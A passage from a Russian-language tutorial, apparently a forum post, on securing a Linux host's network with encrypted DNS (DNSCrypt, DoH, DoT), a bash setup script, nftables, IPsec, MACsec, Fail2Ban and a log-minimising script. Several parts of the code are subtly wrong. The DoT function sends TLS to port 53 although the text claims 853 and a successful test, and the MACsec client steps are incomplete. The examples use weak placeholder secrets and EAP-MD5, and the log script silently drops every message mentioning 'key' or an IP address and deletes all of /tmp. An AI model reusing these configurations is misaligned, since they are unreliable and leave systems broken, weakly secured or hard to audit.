Настройка серверов похожа на обычный DNSCrypt, но, в отличие от стандартных настроек, нужно указать параметр routes:
Код:
server_names = ['cloudflare', 'adguard-dns']
anonymized_dns = true
routes = [{ server_name='*', via=['anon-cs-de', 'anon-cs-fr'] }]
Я направил запросы через релеи в Германии и Франции, но, если тебе не нравится Франция (хотя с недавних пор кому она вообще нравится?), ты можешь направить запросы через релеи в других странах.

После этого стандартно перезапусти DNSCrypt:
Код:
sudo systemctl restart dnscrypt-proxy


Настройка DoH
Вы возможно задтесь вопросом, а можно ли просто замаскировать DNS-запросы под HTTPS-трафик, так чтобы провайдер не мог их перехватить. И при этом, это было не так подозрительно как шифрование? Я отвечу да, возможно и помогает в этом DoH.
Для этого DoH сначала шифрует DNS-запросы и отправляет их через HTTPS (порт 443), маскируя их под обычный веб-трафик. Это работает так: Клиент, например браузер, формирует DNS-запрос, который упаковывается в http зpапрос с методом GET или POST. Запрос шифруется с помощью TLS, как обычный HTTPS-трафик, и отправляется на DoH-сервер, указанный в настройках. Сервер расшифровывает запрос, выполняет разрешение DNS (может использовать DNSSEC для проверки целостности), формирует ответ и отправляет его обратно клиенту в зашифрованном виде через тот же HTTPS-канал. Клиент получает ответ, например IP-адрес запрошенного домена, и использует его для подключения к сайту. Правда, есть минус: хоть DoH скрывает DNS-запросы от провайдера, но сервер видит IP клиента, а если не используется дополнительная анонимизация, то метаданные HTTP могут раскрывать информацию о запросе.

Для начала нужно установить dnsdist командой:
Код:
sudo apt install dnsdist
Это установит DNS-прокси с поддержкой DoH.

Затем нужно открыть конфигурационный файл dnsdist:
Код:
sudo nano /etc/dnsdist/dnsdist.conf
В файле нужно указать пути к SSL-сертификатам и DNS-сервер.

Можно использовать любой сервер, но для примера я указал Quad9 на порту 443:
Код:
addDOHLocal("127.0.0.1:443", "/etc/ssl/certs/cert.pem", "/etc/ssl/private/key.pem")
setServerPolicy(firstAvailable)
newServer({address="9.9.9.9:443", dohPath="/dns-query", name="quad9"})

Далее следует перезапустить dnsdist:
Код:
sudo systemctl restart dnsdist


Настройка DoT
Последним расскажу про DoT.
Он работает похоже на своих "братьев" по шифрованию DNS: клиент формирует DNS-запрос и отправляет его на DoT-сервер через выделенное TLS-соединение. Запрос шифруется с использованием TLS, как при HTTPS, что предотвращает его перехват или изменение. Сервер, поддерживающий DoT, расшифровывает запрос, выполняет разрешение DNS (может использовать DNSSEC для проверки целостности данных) и отправляет зашифрованный ответ клиенту по тому же TLS-каналу. Клиент получает данные, например IP-адрес домена, и использует их для подключения к ресурсу.
Важно, не путай DoT с DoH! В отличие от DoH, DoT не маскирует запросы под веб-трафик, а просто шифрует их и передаёт с помощью TLS.

Для работы с DoT нужно установить Unbound - DNS-резолвер с поддержкой DoT:
Код:
sudo apt install unbound

После этого нужно заполнить конфиг:
Код:
sudo nano /etc/unbound/unbound.conf

В конфиге укажи, что хочешь использовать DoT, и задай DNS-серверы, например, Cloudflare и Google на порту 853:
Код:
do-tls-upstream: yes
forward-addr: 1.1.1.1@853
forward-addr: 8.8.8.8@853

После этого перезапусти Unbound:
Код:
sudo systemctl restart unbound


Автоматиация
Чтобы автоматизировать настройку DNS, я написал скрипт, который всё делает сам.
Идея такая: пользователь выбирает тип шифрования DNS, а скрипт настраивает всё в автоматическом режиме и проверяет, работает ли. Я написал довольно большой код и для понятности решил разбить его на куски при описании. Но итоговый код я прикреплю ниже в файле, и ты сам смог его протестировать.

Сначала я написал так чтобы скрипт спрашивал, включать ли DNSSEC:
Bash:
read -p "Хотите настроить DNSSEC? (yes/y/Y/no/n/N, по умолчанию включено): " DNSSEC_CHOICE
case "$DNSSEC_CHOICE" in
    [Yy]|[Yy][Ee][Ss])
        SETUP_DNSSEC="yes"
        echo "DNSSEC будет настроен (явный выбор)." | tee -a "$LOG_FILE"
        ;;
    [Nn]|[Nn][Oo])
        SETUP_DNSSEC="no"
        echo "DNSSEC не будет настроен." | tee -a "$LOG_FILE"
        ;;
    *)
        SETUP_DNSSEC="yes"
        echo "DNSSEC будет настроен (по умолчанию, неверный или пустой ввод: '$DNSSEC_CHOICE')." | tee -a "$LOG_FILE"
        ;;
esac
Этот код работает так что, пользователь вводит ответ, например, "yes" или "no". Если ввёл "y" или "yes", DNSSEC включается, если "n" или "no" - отключается, а при любом другом вводе или его отсутствии DNSSEC включается по умолчанию. Ответ записывается в переменную и логируется в файл, чтобы было понятно, что выбрано.

Дальше скрипт запрашивает IP-адрес DNS-сервера, например, 9.9.9.9:
Bash:
read -p "Введите IP-адрес DNS-сервера (например, 9.9.9.9): " DNS_SERVER
if ! [[ "$DNS_SERVER" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "Ошибка: Неверный формат IP-адреса." >&2
    echo "Ошибка: Неверный IP-адрес: $DNS_SERVER" >> "$LOG_FILE"
    exit 1
fi
if [ "$DNS_SERVER" == "0.0.0.0" ]; then
    echo "Ошибка: Использование 0.0.0.0 запрещено из соображений безопасности." >&2
    echo "Ошибка: Попытка использовать 0.0.0.0" >> "$LOG_FILE"
    exit 1
fi
case "$DNS_SERVER" in
    "1.1.1.1")
        SERVER_NAME="cloudflare"
        ;;
    "9.9.9.9" | "149.112.112.112")
        SERVER_NAME="quad9"
        ;;
    "94.140.14.14" | "94.140.15.15")
        SERVER_NAME="adguard-dns"
        ;;
    *)
        SERVER_NAME="custom-dns"
        ;;
esac
echo "Выбран server_name: $SERVER_NAME" >> "$LOG_FILE"
Код проверяет, правильный ли адрес который ввел юзер, сверяя с форматом IPv4-адрес, с помощью регулярного выражения - четыре числа, разделённые точками. Если формат неверный, скрипт останавливается и пишет в лог ошибку. Также я запретил использовать 0.0.0.0, потому что, как говорил раньше, это небезопасно - открывает сервер для атак вроде DNS-амплификации. Далее IP сопоставляется с известными провайдерами, такими как Cloudflare, Quad9 или AdGuard, чтобы потом использовать их имена в настройках шифрования.

После этого скрипт предлагает выбрать тип шифрования: DNS over HTTPS, DNS over TLS, DNSCrypt или Anonymized DNSCrypt:
Bash:
echo "Выберите тип шифрования DNS:"
echo "1) DNS over HTTPS (DoH)"
echo "2) DNS over TLS (DoT)"
echo "3) DNSCrypt"
echo "4) Anonymized DNSCrypt"
read -p "Введите номер (1-4): " ENCRYPTION_TYPE
SETUP_DOT="yes"
if [ "$ENCRYPTION_TYPE" == "2" ]; then
    read -p "Хотите настроить DNS over TLS (DoT)? (yes/y/Y/no/n/N, по умолчанию включено): " DOT_CHOICE
    case "$DOT_CHOICE" in
        [Yy]|[Yy][Ee][Ss])
            SETUP_DOT="yes"
            echo "DoT будет настроен (явный выбор)." | tee -a "$LOG_FILE"
            ;;
        [Nn]|[Nn][Oo])
            SETUP_DOT="no"
            echo "DoT не будет настроен." | tee -a "$LOG_FILE"
            ;;
        *)
            SETUP_DOT="yes"
            echo "DoT будет настроен (по умолчанию, неверный или пустой ввод: '$DOT_CHOICE')." | tee -a "$LOG_FILE"
            ;;
    esac
fi
В этом отрывке пользователь вводит номер от 1 до 4, и выбор сохраняется. Если выбрано DNS over TLS, скрипт дополнительно спрашивает, включать ли его, с тем же механизмом ответа, как для DNSSEC.

Для DNSSEC я написал функцию, которая работает через unbound:
Bash:
setup_dnssec() {
    unbound-anchor -a /var/lib/unbound/root.key >> "$LOG_FILE" 2>&1
    systemctl enable unbound >> "$LOG_FILE" 2>&1
    systemctl restart unbound >> "$LOG_FILE" 2>&1
    echo "nameserver 127.0.0.1" > /etc/resolv.conf
    echo "DNSSEC настроен с локальным резолвером Unbound." | tee -a "$LOG_FILE"
}
Функция запускает команду для получения корневого ключа через unbound-anchor, включает и перезапускает сервис unbound, чтобы он обрабатывал запросы с проверкой DNSSEC. В файл resolv.conf записывается локальный адрес 127.0.0.1 как DNS-сервер, и в лог пишется, что настройка завершена.

Для DoH функция создаёт конфигурацию для dnsdist:
Bash:
setup_doh() {
    cat <<EOF > /etc/dnsdist/dnsdist.conf
addDOHLocal("127.0.0.1:443", "/etc/ssl/certs/cert.pem", "/etc/ssl/private/key.pem")
setServerPolicy(firstAvailable)
newServer({address="$DNS_SERVER:443", dohPath="/dns-query", name="$SERVER_NAME"})
EOF
    systemctl restart dnsdist >> "$LOG_FILE" 2>&1
    echo "nameserver 127.0.0.1" > /etc/resolv.conf
    echo "DoH настроен с DNS-сервером $DNS_SERVER ($SERVER_NAME)." | tee -a "$LOG_FILE"
}
Функция пишет конфиг dnsdist указывая локальный адрес 127.0.0.1:443, пути к SSL-сертификатам и выбранный DNS-сервер с путём /dns-query. Сервис dnsdist перезапускается, а resolv.conf обновляется.

Вот функция для DoT:
Bash:
setup_dot() {
    cat <<EOF > /etc/unbound/unbound.conf
server:
    do-daemonize: no
    interface: 127.0.0.1
    port: 53
    access-control: 127.0.0.0/8 allow
    harden-dnssec-stripped: yes
    harden-referral-path: yes
    verbosity: 1
forward-zone:
    name: "."
    forward-addr: $DNS_SERVER@53
    forward-tls-upstream: yes
EOF
    systemctl restart unbound >> "$LOG_FILE" 2>&1
    if ! systemctl is-active --quiet unbound; then
        echo "Ошибка: Не удалось запустить unbound. Проверьте 'systemctl status unbound.service' и 'journalctl -xeu unbound.service'." >&2
        systemctl status unbound.service >> "$LOG_FILE" 2>&1
        exit 1
    fi
    echo "nameserver 127.0.0.1" > /etc/resolv.conf
    echo "DoT настроен с DNS-сервером $DNS_SERVER ($SERVER_NAME) на порту 53." | tee -a "$LOG_FILE"
}
Для DoT функция настраивает unbound, включая опцию do-tls-upstream и указывая адрес сервера на порту 853. Сервис перезапускается, и resolv.conf тоже обновляется.

Дальше я написал функцию для настройки DNSCrypt:
setup_dnscrypt() {
    cat <<EOF > /etc/dnscrypt-proxy/dnscrypt-proxy.toml
server_names = ['$SERVER_NAME']
listen_addresses = ['127.0.0.1:53']
[static.'$SERVER_NAME']
  stamp = '$SDNS_STAMP'
EOF
    systemctl restart dnscrypt-proxy >> "$LOG_FILE" 2>&1
    if ! systemctl is-active --quiet dnscrypt-proxy; then
        echo "Ошибка: Не удалось запустить dnscrypt-proxy. Проверьте 'systemctl status dnscrypt-proxy.service'." >&2
        systemctl status dnscrypt-proxy.service >> "$LOG_FILE" 2>&1
        exit 1
    fi
    echo "nameserver 127.0.0.1" > /etc/resolv.conf
    echo "DNSCrypt настроен с DNS-сервером $DNS_SERVER ($SERVER_NAME) на порту 53." | tee -a "$LOG_FILE"
}

Сначала эта функция создаёт файл конфигурации в формате TOML, где указывает имя сервера, локальный адрес 127.0.0.1:53 и SDNS-штамп, сгенерированный из IP-адреса. Сервис dnscrypt-proxy перезапускается, и resolv.conf обновляется.
 
Ну и следующия функция для Anonymized DNSCrypt:
setup_anonymized_dnscrypt() {
    cat <<EOF > /etc/dnscrypt-proxy/dnscrypt-proxy.toml
server_names = ['$SERVER_NAME']
listen_addresses = ['127.0.0.1:53']
anonymized_dns = true
routes = [{ server_name='*', via=['anon-quad9-dnscrypt', 'anon-cloudflare'] }]
[static.'$SERVER_NAME']
  stamp = '$SDNS_STAMP'
EOF
    systemctl restart dnscrypt-proxy >> "$LOG_FILE" 2>&1
    if ! systemctl is-active --quiet dnscrypt-proxy; then
        echo "Ошибка: Не удалось запустить dnscrypt-proxy. Проверьте 'systemctl status dnscrypt-proxy.service'." >&2
        systemctl status dnscrypt-proxy.service >> "$LOG_FILE" 2>&1
        exit 1
    fi
    echo "nameserver 127.0.0.1" > /etc/resolv.conf
    echo "Anonymized DNSCrypt настроен с DNS-сервером $DNS_SERVER ($SERVER_NAME) на порту 53." | tee -a "$LOG_FILE"
}
Тут всё то же самое, но добавляется опция anonymized_dns и маршруты через анонимные реле, чтобы скрыть источник запросов.

И наконец, я добавил запуск всех функций и проверку, всё ли сработало:
Bash:
install_packages
if [ "$SETUP_DNSSEC" == "yes" ]; then
    setup_dnssec
fi
case $ENCRYPTION_TYPE in
    1)
        setup_doh
        ;;
    2)
        if [ "$SETUP_DOT" == "yes" ]; then
            setup_dot
        else
            echo "Пропуск настройки DoT по выбору пользователя." | tee -a "$LOG_FILE"
            echo "nameserver $DNS_SERVER" > /etc/resolv.conf
        fi
        ;;
    3)
        setup_dnscrypt
        ;;
    4)
        setup_anonymized_dnscrypt
        ;;
esac
if systemctl is-active --quiet unbound 2>/dev/null; then
    echo "Unbound активен." | tee -a "$LOG_FILE"
fi
if systemctl is-active --quiet dnscrypt-proxy 2>/dev/null; then
    echo "DNSCrypt активен." | tee -a "$LOG_FILE"
fi
if systemctl is-active --quiet dnsdist 2>/dev/null; then
    echo "DNSDist активен." | tee -a "$LOG_FILE"
fi
if dig example.com @127.0.0.1 >/dev/null 2>&1; then
    echo "DNS работает корректно." | tee -a "$LOG_FILE"
else
    echo "Ошибка: DNS не работает." >&2
    echo "Ошибка: DNS-запрос не выполнен." >> "$LOG_FILE"
    exit 1
fi
echo "Настройка безопасного DNS завершена." | tee -a "$LOG_FILE"
Здесь скрипт устанавливает нужные пакеты, запускает функцию DNSSEC, если она выбрана, и настраивает шифрование в зависимости от выбора пользователя. Если DNS over TLS отключён, в resolv.conf записывается IP-адреса DNS-сервера напрямую. Затем скрипт проверяет, активны ли сервисы unbound, dnscrypt-proxy или dnsdist, и пишет их статус в лог. Для проверки работоспособности делается тестовый запрос к example.com через dig. Если запрос прошёл, в лог пишется, что DNS работает, иначе скрипт завершается с ошибкой.

Проверяем:
photo_2025-10-05_13-23-18.jpg


Для теста я сначала попробовал ввести 0.0.0.0 как IP DNS-сервера, и скрипт ожидаемо выдал ошибку, так как это небезопасно. Потом я ввёл 9.9.9.9 (Quad9), выбрал настройку DoH, и всё заработало как надо - DNS-запросы проходят, логи показывают, что сервис dnsdist активен.

Проверяем для DoT и DNSCrypt:
photo_2025-10-05_13-25-31.jpg


Снова использовал 9.9.9.9, выбрал DNSCrypt, скрипт создал конфиг для dnscrypt-proxy, сервис запустился, и запросы так же без ошибок, что видно в логе. Дальше проверил для DoT. Ввёл тот же 9.9.9.9, выбрал DoT, скрипт настроил unbound с TLS на порту 853, и тестовый запрос dig example.com прошёл успешно, логи подтвердили, что всё ок.


Настройка фильтрации пакетов и NAT
Фильтрация пакетов -
это реально важная тема, потому что она определяет, какой трафик пускать в сеть, а какой блочить. Это помогает отсечь подозрительный трафик, разных атак.
NAT, в свою очередь, прячет внутренние IP-адреса устройств за одним внешним, делая локалку невидимой снаружи. В итоге интернет видит только внешний IP, а устройства внутри сети - нет, что мешает злоумышлинникам напрямую стучаться к тебе в сеть. Плюс NAT помогает туннелированию, чтобы безопасно соединять локальные машины с внешними сервисами через зашифрованные каналы.

Настройка
Для настройки фильтрации пакетов и NAT я решил использовать nftables, потому что он подходит для этого лучше чем тот же iptables.

Сначала ставим nftables - он будет отвечать за фильтрацию и NAT:
Код:
sudo apt install nftables

Дальше создаём конфиг для фильтрации и NAT. Я использовал стандартный /etc/nftables.conf:
Код:
table inet my_table {
    chain input {
        type filter hook input priority 0; policy drop;
        ct state established,related accept
        tcp dport 22 accept
    }
    chain forward {
        type filter hook forward priority 0; policy drop;
    }
    chain output {
        type filter hook output priority 0; policy accept;
    }
    chain postrouting {
        type nat hook postrouting priority 100;
        ip saddr 192.168.1.0/24 oifname "eth0" masquerade
    }
}
Этот конфиг создаёт таблицу my_table, которая блочит весь входящий трафик, кроме SSH уже установленных соединений, чтобы ответы на твои запросы доходили. Исходящий трафик разрешен полностью, а для NAT настроена маскировка: устройства из локалки 192.168.1.0/24 выходят в интернет через внешний IP интерфейса eth0. Это прячет внутреннюю сеть и помогает туннелированию.

Теперь применяем конфиг, чтобы правила заработали:
Код:
sudo nft -f /etc/nftables.conf

И наконец, включаем сервис nftables, чтобы всё автоматически запускалось при старте системы:
sudo systemctl enable nftables

Проверем и устанвливаем правило:
Untitled9_20251005202733.png



Настройка IPsec
Для защиты сети очень важно уберечь трафик от перехвата, и хотя обычно TLS справляется, иногда его не хватает, и тут на помощь приходит IPsec.
Он работает на сетевом уровне, то есть шифрует и защищает весь трафик между двумя точками - устройствами, серверами или целыми сетями. Это делает его универсальным, потому что IPsec не зависит от приложений или протоколов: он шифрует всё, от голосовых звонков и видео до данных IoT или файлов.
IPsec особенно хорош для VPN. Он использует два важных протокола: AH, который проверяет, что данные не подделаны, и ESP, который шифрует их и тоже может проверять подлинность. ESP делает данные нечитаемыми для чужаков и более гибок, чем AH. По сути, IPsec создаёт зашифрованный туннель, через который трафик идёт безопасно защищенный от перехвата.

Настройка
Чтобы настроить IPsec для безопасного туннеля, я решил использовать strongSwan инструмент для VPN на IPsec. Начинаем с установки strongSwan, чтобы получить всё нужное для IPsec:
Код:
sudo apt install strongswan

Дальше создаём конфиг для туннеля:
Код:
conn my-vpn
    left=%defaultroute
    leftid=your_server_ip
    right=vpn_server_ip
    rightsubnet=0.0.0.0/0
    keyexchange=ikev2
    authby=secret
    type=tunnel
    auto=start
Этот конфиг задаёт туннель: left - твой сервер с динамическим IP (defaultroute), leftid - его идентификатор, right - IP VPN-сервера, rightsubnet - сеть, к которой туннель даёт доступ (всё, 0.0.0.0/0). Используется IKEv2 для шифрования, аутентификация по секретному ключу, и туннель стартует автоматически. Это создаёт защищённый канал, через который трафик идёт в безопасности.

Теперь задаём секретный ключ для аутентификации в отдельном файле:
Код:
127.0.0.1 vpn_server_ip : PSK "SecretKey123"
Этот код в /etc/ipsec.secrets указывает ключ PSK (предварительно общий секрет) для двух сторон - твоего сервера и VPN-сервера. Ключ "SecretKey123" - это пример, в реале надо свой, посложнее. Это нужно, чтобы IPsec знал, что соединение с сервером безопасное и проверенное.

И наконец, перезапускаем strongSwan, чтобы конфиги применились:
Код:
sudo systemctl restart strongswan-starter


MACSec для шифрования на уровне Ethernet
Я уже много рассказал про всякие достаточно высокоуровневые методы защиты сети, вроде защиты . Но таких методов не всегда бывает достаточно, ведь даже если вы используете HTTPS, злоумышленник с доступом к сети (допустим, получивший доступ к ней через атаку вроде злых близнецов) может видеть метаданные: кто с кем общается, какие IP-адреса, порты или даже ARP-запросы, которые помогают устройствам находить друг друга. Но как же защитить свой трафик на низких уровнях?
MACSec решает эту проблему, шифруя весь Ethernet-фрейм, включая заголовки. Он работает на канальном уровне, в отличие от тех же VPN и TLS, которые работают на уровне IP или приложений. MACSec берёт весь трафик, например заголовки, и шифрует его прямо на уровне Ethernet, превращая данные в зашифрованный поток, который невозможно разобрать без ключа.
MACSec использует симметричное шифрование, обычно с алгоритмом AES-GCM-128. Устройства обмениваются ключами (обычно заранее настроенными, так называемыми PSK - pre-shared keys), чтобы аутентифицировать друг друга и шифровать данные. Ключи состоят из CAK для шифрования и CKN для идентификации. Когда два устройства, например клиент и сервер, настроены с одинаковыми ключами, они создают защищённый канал. Каждый Ethernet-фрейм получает дополнительный заголовок MACSec (с тегом 0x88e5), который содержит информацию о шифровании, и весь фрейм, включая данные и оригинальные заголовки, шифруется.
Для аутентификации и защиты от подмены MACSec использует механизм проверки целостности. Это значит, что если кто-то попытается подделать фрейм или внедрить свой трафик (например, в атаке MITM), устройство сразу заметит несоответствие и отбросит такой фрейм. Это особенно полезно для защиты от атак вроде ARP или DHCP, которые часто используются для перехвата или перенаправления трафика.
Но MACSec имеет и свои проблемы. Он работает только в пределах одной сети (точка-точка), так что для защиты трафика через интернет лучше использовать VPN или TLS. Ещё он требует, чтобы оба устройства поддерживали MACSec, что не всегда возможно, особенно с дешёвыми или старыми роутерами.


Настройка
Для начала убедись, что ядро вообще знает, что такое MACSec. Выполни:

Код:
lsmod | grep macsec

Если в выводе пусто, не паникуй - просто подгрузи модуль:
Код:
sudo modprobe macsec
Если и после этого ничего не устновилось, проверь версию ядра (uname -r) - MACSec поддерживается с ядра 4.6 и выше. Если у тебя что-то древнее, обновляй ядро.

Теперь генерируем ключи для шифрования:
Код:
CAK=$(openssl rand -hex 16)
CKN=$(openssl rand -hex 32)
echo "CAK: $CAK"
echo "CKN: $CKN"
photo_2025-10-05_20-51-18.jpg


Добавляем передающую ассоциацию (SA):
Код:
sudo ip macsec add macsec0 tx sa 0
Команда настраивает передачу зашифрованных фреймов.

Теперь приёмная ассоциация:
Код:
sudo ip macsec add macsec0 rx address <MAC_сервера> port 1
sudo ip macsec add macsec0 rx address <MAC_сервера> port 1 sa 0
Это настраивает приём фреймов от сервера. Замени <MAC_сервера> на его реальный MAC-адрес (узнай через ip link show eth0 на сервере).

Дальше устанавливаем алгоритм шифрования:
Код:
sudo ip macsec set macsec0 cipher aes-gcm-128

Привязываем ключи:
Код:
sudo ip macsec set macsec0 tx sa 0 key 0 $CAK
sudo ip macsec set macsec0 rx address <MAC_сервера> port 1 sa 0 key 0 $CAK

Включаем шифрование:
Код:
sudo ip macsec set macsec0 encoding sa 0

Активируем интерфейс:
Код:
sudo ip link set macsec0 up

И наконец-то назначаем IP-адрес:
Код:
sudo ip addr add 192.168.2.2/24 dev macsec0

Теперь клиент готов. Для настройки сервера делаем то же самое, но с MAC-адресом севера:
Код:
sudo ip link add link eth0 macsec0 type macsec
sudo ip macsec add macsec0 tx sa 0
sudo ip macsec add macsec0 rx address <MAC_клиента> port 1
sudo ip macsec add macsec0 rx address <MAC_клиента> port 1 sa 0
sudo ip macsec set macsec0 cipher aes-gcm-128
sudo ip macsec set macsec0 tx sa 0 key 0 $CAK
sudo ip macsec set macsec0 rx address <MAC_клиента> port 1 sa 0 key 0 $CAK
sudo ip macsec set macsec0 encoding sa 0
sudo ip link set macsec0 up
sudo ip addr add 192.168.2.1/24 dev macsec0
Замени <MAC_клиента> на MAC-адрес клиента (узнай через ip link show eth0 на клиенте). Ну и используй те же CAK и CKN, что сгенерировал в начале.

Чтобы проверить ли работает пингуем сервер с клиента:
Код:
ping 192.168.2.

И проверяем шифрование:
Код:
sudo tcpdump -i eth0
Если всё работает ты увидешь зашифрованные фреймы с тегом 0x88e5 вместо читаемых данных.

Ручная настройка ключей - это весело, но если их надо часто менять, лучше автоматизировать через MKA (MACSec Key Agreement).
Для этого установи wpa_supplicant:

Код:
sudo apt install wpasupplicant

Создай конфиг /etc/wpa_supplicant/wpa_supplicant.conf:
Код:
ctrl_interface=DIR=/var/run/ GROUP=netdev
network={
    key_mgmt=IEEE8021X
    eapol_version=3
    macsec_policy=1
    eap=MD5
    identity="host1"
    password="secret"
}
Тут identity и password - это данные для аутентификации с MKA-сервером. Подставь свои.

И запусти wpa_supplicant:
Код:
sudo wpa_supplicant -i eth0 -c /etc/wpa_supplicant/wpa_supplicant.conf -D wired

Если хочешь сам распредлять ключи, создай новый SA:
Код:
sudo ip macsec add macsec0 tx sa 1 pn 1 key 11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:00
sudo ip macsec add macsec0 rx address 00:66:77:88:99:00 port 1 sa 1 key 11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:00

И удали старый:
Код:
sudo ip macsec del macsec0 tx sa 0
sudo ip macsec del macsec0 rx address 00:66:77:88:99:00 port 1 sa 0

MACSec добавляет шифрование, а это может слегка тормозить. Запусти сервер для теста:
Код:
iperf -s -i 1

На клиенте проверь скорость:
Код:
iperf -c 192.168.1.1 -t 10
Сравни результаты с трафиком без MACSec. Если падение скорости критично, подумай, может, тебе хватит шифрования на другом уровне, например, через VPN.


Fail2Ban для блокировки IP
Я решил рассказать про Fail2Ban -
интерснй инструмент, который помогает, когда нужно защитить сервер от брутфорса или других атак. Для домашнего компа он, может, не так полеен, но всё равно важен, потому что даже в локальной сети могут случаться атаки, если кто-то пытается подобрать пароли.
Fail2Ban работает просто: он следит за логами, например, SSH или веб-сервера, и ищет подозрительные действия, вроде кучи неудачных попыток входа. Если таких попыток слишком много за короткое время, он добавляет IP атакующего в чёрный список через брандмауэр, обычно iptables или nftables. После заданного времени блокировка сама снимается, чтобы не забанить случайно нормальных юзеров.

Настройка
Сначала нужно установить Fail2Ban:

Код:
sudo apt install fail2ban

Дальше настраиваем конфиг, чтобы задать правила блокировки:
Код:
nano  /etc/fail2ban/jail.local

Код с оформлением (BB-коды):
[ssh]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 3600
Этот конфиг следит за портом 22, использует фильтр sshd, смотрит логи в /var/log/auth.log. Если кто-то 5 раз подряд ошибается с паролем, его IP банится на час (3600 секунд).

Теперь перезапускаем Fail2Ban, чтобы конфиг применился:
Код:
sudo systemctl restart fail2ban

И наконец, проверяем статус, чтобы убедиться, что всё работает и баны применяются:
Код:
sudo fail2ban-client status ssh


Как безопасно настроить системные логи?
Ещё одна важная штука для безопасности, это минимизация утечек через системные логи.
В них пишется всё, что творится в системе: кто подключался, какие запросы шли, какие ошибки вылезали. Иногда туда попадают IP-адреса пользователей, параметры запросов, имена файлов, а если что-то криво настроено, то даже пароли или ключи. Если злоумышленник получит доступ к этим файлам, он сможет изучить поведение системы, понять, какие сервисы работают, какие уязвимости можно использовать, чтобы спланировать атаку.
Чтобы решить эту проблему, можно минимизировать записываемую инфу, чтобы убрать из логов всё лишнее и сократить следы, которые могут выдать важные данные. Это, конечно, палка о двух концах: меньше логов - меньше инфы для злоумышленников, но и тебе сложнее отследить, если что-то пошло не так. Поэтому, главное - всё сделать грамотно. Например, вместо полного текста HTTP-запросов к веб-серверу можно настроить логи так, чтобы они фиксировали только сам факт обращения, без параметров или заголовков, чтобы запрос можно было отследить в случае чего. Плюс важно включить ротацию логов - чтобв старые записи сами удалялись или архивировались, чтобы не копить гору данных, которые могут утечь. Ещё важно закрывать доступ к логам, чтобы только доверенные юзеры или процессы могли их читать, и чистить временные файлы(там часто оседают следы операций, вроде кэшей или промежуточных данных).

Для минимизации логов я написал скрипт, который автоматизирует процесс и убирает лишние следы из системы:
Bash:
#!/bin/bash

LOG_FILE="/var/log/cleanup_script.log"
SYSTEMD_CONF="/etc/systemd/system.conf"
JOURNAL_CONF="/etc/systemd/journald.conf"
RSYSLOG_CONF="/etc/rsyslog.conf"
CRON_SCRIPT="/etc/cron.daily/cleanup"
LOGROTATE_CONF="/etc/logrotate.d/syslog"

log_message() {
    echo "[$(date)] $1" >> "$LOG_FILE"
}

check_root() {
    if [ "$EUID" -ne 0 ]; then
        log_message "Ошибка: Скрипт должен быть запущен с правами root (sudo)."
        echo "Ошибка: Скрипт должен быть запущен с правами root (sudo)."
        exit 1
    fi
}

filter_ssh_logs() {
    log_message "Проверка логов SSH с фильтрацией..."
    if journalctl -u sshd | grep -vE '([0-9]{1,3}\.){3}[0-9]{1,3}' > /tmp/sshd_logs_filtered.txt 2>> "$LOG_FILE"; then
        log_message "Отфильтрованные логи SSH сохранены в /tmp/sshd_logs_filtered.txt"
    else
        log_message "Ошибка при проверке логов SSH"
        exit 1
    fi
}

# Настройка systemd
configure_systemd() {
    if [ -f "$SYSTEMD_CONF" ]; then
        log_message "Настройка ограничений логов systemd..."
        update_config "$SYSTEMD_CONF" "SystemMaxUse=" "SystemMaxUse=50M"
        update_config "$SYSTEMD_CONF" "LogLevel=" "LogLevel=warning"
        systemctl daemon-reload 2>> "$LOG_FILE"
        log_message "Конфигурация systemd обновлена"
    else
        log_message "Ошибка: Файл $SYSTEMD_CONF не найден"
        exit 1
    fi
}

configure_journald() {
    if [ -f "$JOURNAL_CONF" ]; then
        log_message "Настройка journald для минимизации логов..."
        update_config "$JOURNAL_CONF" "SystemMaxUse=" "SystemMaxUse=50M"
        update_config "$JOURNAL_CONF" "Seal=" "Seal=yes"
        systemctl restart systemd-journald 2>> "$LOG_FILE"
        log_message "Конфигурация journald обновлена"
    else
        log_message "Ошибка: Файл $JOURNAL_CONF не найден"
        exit 1
    fi
}

update_config() {
    local file=$1
    local pattern=$2
    local new_value=$3
    if ! grep -q "$pattern" "$file"; then
        echo "$new_value" | tee -a "$file" >> "$LOG_FILE"
    else
        sed -i "s|$pattern.*|$new_value|" "$file" 2>> "$LOG_FILE"
    fi
}

clean_tmp() {
    log_message "Очистка временных файлов в /tmp..."
    if find /tmp -type f -delete 2>> "$LOG_FILE"; then
        log_message "Временные файлы в /tmp успешно удалены"
    else
        log_message "Ошибка при очистке /tmp"
        exit 1
    fi
}

configure_rsyslog() {
    if [ -f "$RSYSLOG_CONF" ]; then
        log_message "Настройка rsyslog для фильтрации данных..."
        if ! grep -q "filter_sensitive" "$RSYSLOG_CONF"; then
            cat << EOF >> "$RSYSLOG_CONF"
:msg, regex, "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" stop
:msg, contains, "password" stop
:msg, contains, "key" stop
*.* /var/log/syslog
EOF
            systemctl restart rsyslog 2>> "$LOG_FILE"
            log_message "rsyslog настроен для фильтрации чувствительных данных"
        fi
    else
        log_message "Предупреждение: Файл $RSYSLOG_CONF не найден, пропуск настройки rsyslog"
    fi
}

create_cron_script() {
    log_message "Создание скрипта ежедневной очистки..."
    cat << EOF > "$CRON_SCRIPT"
#!/bin/bash
LOG_FILE="$LOG_FILE"
echo "[$(date)] Запуск ежедневной очистки" >> "\$LOG_FILE"
find /tmp -type f -mtime +1 -delete 2>> "\$LOG_FILE"
if [ \$? -eq 0 ]; then
    echo "[$(date)] Старые файлы в /tmp удалены" >> "\$LOG_FILE"
else
    echo "[$(date)] Ошибка при удалении файлов в /tmp" >> "\$LOG_FILE"
fi
journalctl --vacuum-size=50M 2>> "\$LOG_FILE"
if [ \$? -eq 0 ]; then
    echo "[$(date)] Логи journalctl сокращены до 50 МБ" >> "\$LOG_FILE"
else
    echo "[$(date)] Ошибка при очистке логов journalctl" >> "\$LOG_FILE"
fi
EOF
    if [ -f "$CRON_SCRIPT" ]; then
        chmod +x "$CRON_SCRIPT" 2>> "$LOG_FILE"
        log_message "Скрипт $CRON_SCRIPT создан и сделан исполняемым"
    else
        log_message "Ошибка: Не удалось создать скрипт $CRON_SCRIPT"
        exit 1
    fi
}

check_cron() {
